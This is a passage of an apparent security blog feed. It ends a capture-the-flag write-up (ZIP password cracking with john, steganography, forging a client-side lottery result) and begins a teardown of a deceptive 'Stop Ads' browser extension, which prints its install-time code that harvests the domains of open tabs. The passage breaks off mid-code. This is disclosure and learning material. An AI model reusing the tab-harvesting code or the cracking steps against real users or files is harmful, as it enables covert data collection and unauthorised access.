&lt;a href=&quot;https://sites.google.com/view/chiccodersite234/project-page&quot;&gt;https://sites.google.com/view/chiccodersite234/project-page&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;barbie&#39;s-secret-slip-3&quot;&gt;Barbie&#39;s Secret Slip 3 &lt;a class=&quot;direct-link&quot; href=&quot;#barbie&#39;s-secret-slip-3&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20241209164508/https://sites.google.com/view/chiccodersite234/project-page&quot;&gt;https://web.archive.org/web/20241209164508/https://sites.google.com/view/chiccodersite234/project-page&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;polyglots!-five&quot;&gt;Polyglots! Five &lt;a class=&quot;direct-link&quot; href=&quot;#polyglots!-five&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There&#39;s VBScript in the code if you look hard enough. Copy that, and remove the if statement to print the flag&lt;br&gt;
Final Code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dim a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,z1,z2,z3,z4,x1,x2
a=Chr(73):b=Chr(110):c=Chr(112):d=Chr(117):e=Chr(116):f=Chr(66):g=Chr(111):h=Chr(120)
x1=a&amp;amp;b&amp;amp;c&amp;amp;d&amp;amp;e&amp;amp;f&amp;amp;g&amp;amp;h:x2=Eval(x1&amp;amp;&amp;quot;(&amp;quot; &amp;amp; Chr(34)&amp;amp;&amp;quot;Sing to me:&amp;quot;&amp;amp;Chr(34)&amp;amp;&amp;quot;)&amp;quot;)
z1=&amp;quot;illusion&amp;quot;:z2=Mid(z1,3,2):z3=0:z4=0:If x2=&amp;quot;karaoke&amp;quot; Then z3=z3+999:w=False
If Len(z1)=8 And z2=&amp;quot;lu&amp;quot; And z3=z4+1 Then w=True
u=Array(79,98,125,102,119,88,112,107,70,85,74,124,120,58,112,60,98,110,55,96,57,104,55,54,113,55,99,110,58,113,118,58,128)
p=Array(3,1,4,1,5,9,2,6):v=&amp;quot;&amp;quot;
For i=0 To UBound(u):v=v&amp;amp;Chr(u(i)-p(i Mod 8)):Next:MsgBox v
If Not w Then MsgBox Chr(78)&amp;amp;Chr(111)&amp;amp;Chr(112)&amp;amp;Chr(101)&amp;amp;Chr(33)&amp;amp;Chr(32)&amp;amp;Chr(84)&amp;amp;Chr(114)&amp;amp;Chr(121)&amp;amp;Chr(32)&amp;amp;Chr(108)&amp;amp;Chr(111)&amp;amp;Chr(117)&amp;amp;Chr(100)&amp;amp;Chr(101)&amp;amp;Chr(114)&amp;amp;Chr(46):End If
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;fixme&quot;&gt;FixMe &lt;a class=&quot;direct-link&quot; href=&quot;#fixme&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;PCRT solves this one &lt;a href=&quot;https://github.com/sherlly/PCRT&quot;&gt;https://github.com/sherlly/PCRT&lt;/a&gt;&lt;br&gt;
python2 &lt;a href=&quot;http://pcrt.py/&quot;&gt;PCRT.py&lt;/a&gt; -i &amp;quot;chall.png&amp;quot; -o &amp;quot;chall_out.png&amp;quot;&lt;br&gt;
Y to autofixing, N to fixing IDAT chunk data length. Repaired image looks like this&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/339ce48e2ab42cd3ab0f1f67c709b5fa.png&quot; alt=&quot;339ce48e2ab42cd3ab0f1f67c709b5fa.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;lawrence-of-arabia&quot;&gt;Lawrence of Arabia &lt;a class=&quot;direct-link&quot; href=&quot;#lawrence-of-arabia&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/26e690d232278cecb74642cd8d8fc226.png&quot; alt=&quot;26e690d232278cecb74642cd8d8fc226.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/f0301e0039786f133d606cac2d3d6ab6.png&quot; alt=&quot;f0301e0039786f133d606cac2d3d6ab6.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;5th-element&quot;&gt;5th Element &lt;a class=&quot;direct-link&quot; href=&quot;#5th-element&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;C:&#92;Users&#92;Cramik&#92;Desktop&#92;asimov&amp;gt;stegolsb wavsteg -r -i DancingDiva2.wav -o output -n 2 -b 100000
Files read                     in 0.02s
Recovered 100000 bytes         in 0.01s
Written output file            in 0.00s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/e8c68fda02468c9c653279cb35cbdc9c.png&quot; alt=&quot;e8c68fda02468c9c653279cb35cbdc9c.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/d24001b6c64bd59b8c0ad914774635a4.png&quot; alt=&quot;d24001b6c64bd59b8c0ad914774635a4.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;xmi&quot;&gt;XMI &lt;a class=&quot;direct-link&quot; href=&quot;#xmi&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Extract.py&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; xmi&lt;br&gt;&lt;br&gt;&lt;span class=&quot;token comment&quot;&gt;# Open the XMI file&lt;/span&gt;&lt;br&gt;xmi_obj &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; xmi&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;open_file&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ARCHIVE.DATA (1).XMI&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span class=&quot;token comment&quot;&gt;# List files/members within the XMI&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; f &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; xmi_obj&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_files&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; xmi_obj&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_pds&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; m &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; xmi_obj&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get_members&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;br&gt;            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;m&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;)&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span class=&quot;token comment&quot;&gt;# Extract all contents to a folder&lt;/span&gt;&lt;br&gt;xmi_obj&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;set_output_folder&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;xmi_obj&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;extract_all&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open the extracted zip, put FLAG file into hxd and switch to EBCDIC encoding in HXD (at the top)&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/a916de101c3bed6b9bc225d6a6d30322.png&quot; alt=&quot;a916de101c3bed6b9bc225d6a6d30322.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;secret-file-2&quot;&gt;Secret File 2 &lt;a class=&quot;direct-link&quot; href=&quot;#secret-file-2&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(cramik㉿Android)-[/mnt/c/users/cramik/downloads]
└─$ zip2john Confidential.zip
ver 2.0 efh 5455 efh 7875 Confidential.zip/VeryVeryConfidential.png PKZIP Encr: TS_chk, cmplen=28002, decmplen=32661, crc=8947A8FD ts=11BC cs=11bc type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** Confidential.zip/protected.zip PKZIP Encr: TS_chk, cmplen=374345, decmplen=374333, crc=79E8FA33 ts=1294 cs=1294 type=0
Confidential.zip:$pkzip$2*1*1*0*0*24*1294*{a bunch of junk}*$/pkzip$::Confidential.zip:VeryVeryConfidential.png, protected.zip:Confidential.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(cramik㉿Android)-[/mnt/c/users/cramik/Desktop/SecTools/hashcat]
└─$ john --mask=?a?a?a layerone.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
soc              (Confidential.zip)
1g 0:00:00:00 DONE (2025-05-25 12:27) 20.00g/s 2621Kp/s 2621Kc/s 2621KC/s +&amp;quot;2..ZBc
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;zip2john protected.zip &amp;gt; protected.txt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(cramik㉿Android)-[/mnt/c/users/cramik/Desktop]
└─$ john -1=?l?u --mask=?1?1?1ARE?d?d?d  protected.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
catARE143        (protected.zip/Proof.png)
1g 0:00:00:04 DONE (2025-05-25 12:35) 0.2398g/s 12486Kp/s 12486Kc/s 12486KC/s kWoARE143..zikARE143
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first layer file is a pdf with a lot of 30s, 31s, and 20s. I went through all the effort of decoding it just to get rickrolled&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/6b7a39ab0a0ffdbc02c25e2d0e3babf2.png&quot; alt=&quot;6b7a39ab0a0ffdbc02c25e2d0e3babf2.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
The real answer is easier&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/f293d36e9642caa242e7d5f3019f1b2e.png&quot; alt=&quot;f293d36e9642caa242e7d5f3019f1b2e.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
The second layer file is even easier&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/758e3e4fab2210fb327487a0075a51cf.png&quot; alt=&quot;758e3e4fab2210fb327487a0075a51cf.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;p&gt;flag{4r3_y0u_d15tracted_by_th3_r4bb1t_h0l3}&lt;/p&gt;
&lt;h2 id=&quot;leaked-coordinates&quot;&gt;Leaked Coordinates &lt;a class=&quot;direct-link&quot; href=&quot;#leaked-coordinates&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This one was really annoying because they used like a weird wikipedia name for the museum instead of the german one and I swear the hint telling you that in the challenge wasnt there initially, but basically you can look at the image or exiftools the coords to find the local &amp;quot;berlinspymuseum&amp;quot; which is the password for the image in the archive, I used aperisolve for the steganography and found base64 in the lsb &lt;a href=&quot;https://www.aperisolve.com/f339d31d61367434755be64a698551a3&quot;&gt;https://www.aperisolve.com/f339d31d61367434755be64a698551a3&lt;/a&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/e45171389cd0a6fe410d7bfda1cd4e1b.png&quot; alt=&quot;e45171389cd0a6fe410d7bfda1cd4e1b.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/aa276cb1a575070d450d9e9b4ef9bd62.png&quot; alt=&quot;aa276cb1a575070d450d9e9b4ef9bd62.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;discordant-glitches&quot;&gt;DISCORDant Glitches &lt;a class=&quot;direct-link&quot; href=&quot;#discordant-glitches&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/6088dac68361f5e9af0d3223a682b029.png&quot; alt=&quot;6088dac68361f5e9af0d3223a682b029.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/d76de3a583cdc7c2aa4dcb5957e5fb13.png&quot; alt=&quot;d76de3a583cdc7c2aa4dcb5957e5fb13.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;glitch-lotto&quot;&gt;Glitch Lotto &lt;a class=&quot;direct-link&quot; href=&quot;#glitch-lotto&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I avoided this one initially because I never looked at the js and was confused, but after looking at this js its pretty easy:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;generateWinningNumber(new Date(&#39;June 30, 2025 05:00:00&#39;))
# Submit a bid with that number
setTimeOverride(new Date(&#39;June 30, 2025 05:00:00&#39;))
checkLotteryResult(&amp;quot;yourusername&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cramik.github.io/img/743c2694c1b515e66b73e5fe6eb05d0e.png&quot; alt=&quot;743c2694c1b515e66b73e5fe6eb05d0e.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;domain-of-lies&quot;&gt;Domain of Lies &lt;a class=&quot;direct-link&quot; href=&quot;#domain-of-lies&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I didn&#39;t know what the hint meant but the odds of it being xor were high so I xor&#39;d &amp;quot;flag&amp;quot; to the ciphertext to find the key started with Reyk = Reykjavik (Capital of Iceland)&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/8a5cc400b7e7b72ec5aa1c573657ea5d.png&quot; alt=&quot;8a5cc400b7e7b72ec5aa1c573657ea5d.png&quot; width=&quot;600&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://cramik.github.io/img/8cea320b4bd070a3349d54174d852876.png&quot; alt=&quot;8cea320b4bd070a3349d54174d852876.png&quot; width=&quot;600&quot;&gt;&lt;/p&gt;

		</content>
	</entry>
	
	<entry>
		<title>Reverse Engineering a Shady &quot;Ad-Blocker&quot; Extension</title>
		<link href="https://cramik.github.io/posts/reversing-shady-adblocker/"/>
		<updated>2026-06-13T00:00:00+00:00</updated>
		<id>https://cramik.github.io/posts/reversing-shady-adblocker/</id>
		<content type="html">
		  &lt;p&gt;I recently ran into a sketchy ad campaign pushing a browser extension called &lt;strong&gt;&amp;quot;Stop Ads&amp;quot;&lt;/strong&gt; (or &lt;em&gt;StopAds Now&lt;/em&gt;). The ad dumps you onto a fake security warning page designed to look like an official Chrome browser update:&lt;br&gt;
&lt;code&gt;https://zerodrifts.com/browser-shield.html?an=ac&amp;amp;cid=1781376050100010USTF7gRArCNtafIG&amp;amp;sid=10576746&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It claims that &amp;quot;Stop Ads&amp;quot; is recommended to block annoying ads and popups. If you head over to its Chrome Web Store page, the developer claims under the privacy section that they &lt;em&gt;don&#39;t collect or use your data&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Since I don&#39;t trust ads pushing extensions, I decided to pull the code, reverse engineer the extension, and trace their infrastructure. Here is the chronological teardown of what I found.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.ibb.co/pjWJHMQS/media-da86c5d8-cdee-4e9a-a6de-e601b8adc068-1781377083689.png&quot; alt=&quot;Deceptive Extension Landing Page&quot; width=&quot;600&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-1%3A-snagging-and-unpacking-the-crx&quot;&gt;Step 1: Snagging and Unpacking the CRX &lt;a class=&quot;direct-link&quot; href=&quot;#step-1%3A-snagging-and-unpacking-the-crx&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To inspect the raw files without actually installing the extension, I grabbed the extension ID from the store and used a CRX downloader tool to fetch the raw package.&lt;/p&gt;
&lt;p&gt;Once downloaded, I renamed the &lt;code&gt;.crx&lt;/code&gt; file to &lt;code&gt;.zip&lt;/code&gt; and unpacked it. The directory structure immediately pointed to a complex ad-blocking setup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;manifest.json&lt;/code&gt; — The extension configuration file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;background.js&lt;/code&gt; — The main service worker orchestrating the background operations.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;content/broker.js&lt;/code&gt; — A content script injected into web pages.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;engine/&lt;/code&gt; &amp;amp; &lt;code&gt;lib/&lt;/code&gt; — Helper modules managing rulesets, storage, and whitelisting.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/&lt;/code&gt; — Static rule databases, including &lt;code&gt;core_engine.json&lt;/code&gt; (a massive 16.7MB filter list).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-2%3A-reversing-the-code&quot;&gt;Step 2: Reversing the Code &lt;a class=&quot;direct-link&quot; href=&quot;#step-2%3A-reversing-the-code&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With the files unpacked, I began static code analysis, tracing execution from the manifest down to the injected scripts.&lt;/p&gt;
&lt;h3 id=&quot;1.-the-manifest-audit-(manifest.json)&quot;&gt;1. The Manifest Audit (&lt;code&gt;manifest.json&lt;/code&gt;) &lt;a class=&quot;direct-link&quot; href=&quot;#1.-the-manifest-audit-(manifest.json)&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The manifest immediately raised red flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It requests &lt;code&gt;&amp;lt;all_urls&amp;gt;&lt;/code&gt; host permissions, meaning the extension can read and modify traffic on every single website you visit.&lt;/li&gt;
&lt;li&gt;It uses the &lt;code&gt;scripting&lt;/code&gt; API to dynamically inject code into the main web pages.&lt;/li&gt;
&lt;li&gt;Crucially, there is no hardcoded content script array. Instead, it dynamically registers &lt;code&gt;content/broker.js&lt;/code&gt; at runtime so it runs on all web pages.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2.-the-setup-trigger%3A-scraping-open-tabs&quot;&gt;2. The Setup Trigger: Scraping Open Tabs &lt;a class=&quot;direct-link&quot; href=&quot;#2.-the-setup-trigger%3A-scraping-open-tabs&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;background.js&lt;/code&gt;, I found the setup routine that fires immediately on installation. It runs &lt;code&gt;installDataGathering()&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;installDataGathering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; allTabs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; tabs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getAllTabs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; domains &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; utms &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tab &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; allTabs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tab&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dom &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;extractHost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tab&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dom&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; domains&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dom&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tabs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isStoreTab&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tab&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; tab&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;an&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;          Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;br&gt;            utms&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;            Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fromEntries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tab&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;domains&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; storage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;core_install_sites&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;domains&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token 